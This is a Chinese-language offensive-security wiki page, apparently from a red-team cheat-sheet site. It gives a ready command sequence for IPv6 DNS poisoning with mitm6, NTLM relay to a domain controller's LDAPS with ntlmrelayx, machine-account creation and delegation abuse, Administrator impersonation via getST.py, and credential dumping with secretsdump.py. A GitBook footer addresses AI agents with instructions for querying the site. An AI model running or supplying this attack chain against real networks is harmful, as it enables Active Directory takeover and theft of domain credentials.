> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/heng-xiang-yi-dong/ntlm-zhong-ji-he-zhong-jian-ren-gong-ji/dns-poisonning.md).

# DNS Poisonning

```
DNS 中毒 - 使用 mitm6 进行中继委托
要求：
启用 IPv6（Windows 更喜欢 IPv6 而不是 IPv4）
基于 TLS 的 LDAP (LDAPS)
ntlmrelayx 将捕获的凭据中继到域控制器上的 LDAP，使用它来创建新的机器帐户，打印帐户的名称和密码并修改它的委派权限。
>git clone https://github.com/fox-it/mitm6.git 
>cd /opt/tools/mitm6
>pip install .
mitm6 -hw ws02 -d lab.local --ignore-nofqnd
-d: 我们过滤请求的域名（被攻击的域）
-i: 我们让 mitm6 监听事件的接口
-hw: 主机白名单
ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad
ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad --add-computer
-ip: 您希望中继运行的接口
-wh: WPAD 主机，指定要提供的 wpad 文件
t: 您要中继到的目标

现在授予委托权限，然后执行 RBCD
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
getST.py -spn cifs/target.lab.local lab.local/GENERATED\$ -impersonate Administrator  
export KRB5CCNAME=administrator.ccache  
secretsdump.py -k -no-pass target.lab.local
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/heng-xiang-yi-dong/ntlm-zhong-ji-he-zhong-jian-ren-gong-ji/dns-poisonning.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
